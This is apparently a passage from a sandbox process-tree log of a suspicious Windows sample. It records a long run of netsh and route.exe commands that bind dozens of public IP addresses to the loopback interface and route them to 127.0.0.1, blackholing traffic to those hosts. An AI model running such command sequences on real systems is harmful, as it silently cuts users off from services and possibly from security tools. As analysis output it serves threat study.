- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5744
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 110.42.45.175 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3468
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 112.213.116.42 255.255.255.255
  2⤵
  PID:3552
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 112.213.116.42
  2⤵
  PID:1960
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 112.213.116.42 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4692
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 114.66.12.18 255.255.255.255
  2⤵
  PID:3444
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 114.66.12.18
  2⤵
  PID:1716
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 114.66.12.18 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:5328
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 114.66.36.220 255.255.255.255
  2⤵
  PID:4680
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 114.66.36.220
  2⤵
  PID:3228
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 114.66.36.220 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:5324
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 114.66.36.65 255.255.255.255
  2⤵
  PID:3376
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 114.66.36.65
  2⤵
  PID:1340
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 114.66.36.65 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2744
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 114.66.62.149 255.255.255.255
  2⤵
  PID:3644
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 114.66.62.149
  2⤵
  PID:3396
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 114.66.62.149 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:5380
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 119.188.164.109 255.255.255.255
  2⤵
  PID:4128
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 119.188.164.109
  2⤵
  PID:3556
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 119.188.164.109 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3176
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2880
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 120.55.192.78 255.255.255.255
  2⤵
  PID:5936
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 120.55.192.78
  2⤵
  PID:6068
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 120.55.192.78 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4452
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 123.206.101.228 255.255.255.255
  2⤵
  PID:2432
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 123.206.101.228
  2⤵
  PID:3548
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 123.206.101.228 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:836
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 124.222.212.191 255.255.255.255
  2⤵
  PID:820
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 124.222.212.191
  2⤵
  PID:4612
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 124.222.212.191 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3596
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 124.222.67.215 255.255.255.255
  2⤵
  PID:4400
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 124.222.67.215
  2⤵
  PID:4872
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5088
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 124.222.67.215 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:360
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 125.77.172.237 255.255.255.255
  2⤵
  PID:5340
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 125.77.172.237
  2⤵
  PID:2768
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5552
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 125.77.172.237 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4144
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 137.175.126.218 255.255.255.255
  2⤵
  PID:1524
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 137.175.126.218
  2⤵
  PID:4188
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 137.175.126.218 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1848
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 144.48.241.246 255.255.255.255
  2⤵
  PID:3480
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 144.48.241.246
  2⤵
  PID:1996
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 144.48.241.246 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3260
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3796
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 154.12.54.134 255.255.255.255
  2⤵
  PID:5360
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 154.12.54.134
  2⤵
  PID:5228
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 154.12.54.134 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2528
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 154.199.36.208 255.255.255.255
  2⤵
  PID:1968
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4968
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 154.199.36.208
  2⤵
  PID:2828
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 154.199.36.208 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1340
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2316
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 154.201.71.15 255.255.255.255
  2⤵
  PID:4772
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 154.201.71.15
  2⤵
  PID:364
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 154.201.71.15 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3396
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 154.36.174.60 255.255.255.255
  2⤵
  PID:4676
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 154.36.174.60
  2⤵
  PID:4392
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 154.36.174.60 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:5240
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.11 255.255.255.255
  2⤵
  PID:5136
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2632
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.11
  2⤵
  PID:5864
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.11 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2516
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.111 255.255.255.255
  2⤵
  PID:2608
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.111
  2⤵
  PID:3020
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.111 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2016
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.122 255.255.255.255
  2⤵
  PID:1836
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.122
  2⤵
  PID:1236
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.122 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2588
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.123 255.255.255.255
  2⤵
  PID:3368
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.123
  2⤵
  PID:608
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.123 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4400
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.150 255.255.255.255
  2⤵
  PID:5880
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.150
  2⤵
  PID:3316
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.150 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:6072
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.156 255.255.255.255
  2⤵
  PID:5672
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.156
  2⤵
  PID:4760
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.156 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1148
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.188 255.255.255.255
  2⤵
  PID:2652
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.188
  2⤵
  PID:3480
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.188 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:5272
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.199 255.255.255.255
  2⤵
  PID:6052
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.199
  2⤵
  PID:1084
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.199 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:5716
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.22 255.255.255.255
  2⤵
  PID:5068
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.22
  2⤵
  PID:2352
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.22 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4424
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.222 255.255.255.255
  2⤵
  PID:4824
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4248
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.222
  2⤵
  PID:5288
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.222 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2400
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.233 255.255.255.255
  2⤵
  PID:2036
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.233
  2⤵
  PID:1672
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.233 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4092
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.234 255.255.255.255
  2⤵
  PID:1452
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.234
  2⤵
  PID:3300
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.234 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1100
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.239 255.255.255.255
  2⤵
  PID:2300
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5728
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.239
  2⤵
  PID:5692
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.239 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1844
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.247 255.255.255.255
  2⤵
  PID:1924
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.247
  2⤵
  PID:564
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.247 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4308
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.55 255.255.255.255
  2⤵
  PID:2856
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.55
  2⤵
  PID:5684
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.55 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2312
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.66 255.255.255.255
  2⤵
  PID:4932
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.66
  2⤵
  PID:848
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.66 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:416
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.80 255.255.255.255
  2⤵
  PID:4260
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.80
  2⤵
  PID:2248
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.80 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:5672
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.88 255.255.255.255
  2⤵
  PID:2692
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.88
  2⤵
  PID:4692
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.88 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:5180
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.97 255.255.255.255
  2⤵
  PID:2584
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1996
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.97
  2⤵
  PID:1660
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.97 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4636
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.99 255.255.255.255
  2⤵
  PID:4508
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.99
  2⤵
  PID:1448
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.99 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1644
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.129.131 255.255.255.255
  2⤵
  PID:4624
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.129.131
  2⤵
  PID:5192
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.129.131 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3564
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.132.29 255.255.255.255
  2⤵
  PID:6128
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.132.29
  2⤵
  PID:3652
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.132.29 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2464
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.137.135 255.255.255.255
  2⤵
  PID:4676
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.137.135
  2⤵
  PID:6132
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.137.135 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1520
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.143.161 255.255.255.255
  2⤵
  PID:2684
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.143.161
  2⤵
  PID:5872
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.143.161 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4104
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.143.247 255.255.255.255
  2⤵
  PID:4884
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.143.247
  2⤵
  PID:4156
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.143.247 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1804
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:836
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.144.154 255.255.255.255
  2⤵
  PID:5476
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5252
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.144.154
  2⤵
  PID:5512
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.144.154 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:5140
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.144.231 255.255.255.255
  2⤵
  PID:4888
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.144.231
  2⤵
  PID:4872
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.144.231 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4320
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.165.85 255.255.255.255
  2⤵
  PID:1800
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4300
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.165.85
  2⤵
  PID:2768
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.165.85 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2392
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.167.213 255.255.255.255
  2⤵
  PID:3400
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.167.213
  2⤵
  PID:2248
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4512
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.167.213 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:5672
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4620
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.177.128 255.255.255.255
  2⤵
  PID:2284
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.177.128
  2⤵
  PID:5108
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.177.128 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:5180
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.182.204 255.255.255.255
  2⤵
  PID:5148
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.182.204
  2⤵
  PID:5892
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.182.204 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3796
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.186.91 255.255.255.255
  2⤵
  PID:2528
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.186.91
  2⤵
  PID:4456
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.186.91 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1744
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.202.159 255.255.255.255
  2⤵
  PID:1340
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.202.159
  2⤵
  PID:1708
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.202.159 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3532
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.212.166 255.255.255.255
  2⤵
  PID:5404
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.212.166
  2⤵
  PID:4780
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.212.166 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3556
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.214.182 255.255.255.255
  2⤵
  PID:4988
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.214.182
  2⤵
  PID:1480
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.214.182 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4992
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.214.70 255.255.255.255
  2⤵
  PID:1172
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.214.70
  2⤵
  PID:2740
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2340
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.214.70 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2432
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.215.173 255.255.255.255
  2⤵
  PID:2608
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.215.173
  2⤵
  PID:4884
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.215.173 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3868
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.217.247 255.255.255.255
  2⤵
  PID:5912
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.217.247
  2⤵
  PID:5372
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.217.247 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:5900
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.222.64 255.255.255.255
  2⤵
  PID:2132
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.222.64
  2⤵
  PID:3064
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.222.64 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4644
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 175.24.163.232 255.255.255.255
  2⤵
  PID:2836
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 175.24.163.232
  2⤵
  PID:4320
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5788
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 175.24.163.232 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2416
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 202.189.23.191 255.255.255.255
  2⤵
  PID:4300
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 202.189.23.191
  2⤵
  PID:3416
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 202.189.23.191 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3552
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 222.167.33.12 255.255.255.255
  2⤵
  PID:4188
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 222.167.33.12
  2⤵
  PID:1228
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 222.167.33.12 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1656
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 222.167.34.57 255.255.255.255
  2⤵
  PID:2520
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 222.167.34.57
  2⤵
  PID:3260
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 222.167.34.57 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2988
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 27.124.41.85 255.255.255.255
  2⤵
  PID:2584
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 27.124.41.85
  2⤵
  PID:3132
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 27.124.41.85 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2848
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 36.51.224.123 255.255.255.255
  2⤵
  PID:3096
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 36.51.224.123
  2⤵
  PID:3464
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 36.51.224.123 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1316
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 36.51.224.126 255.255.255.255
  2⤵
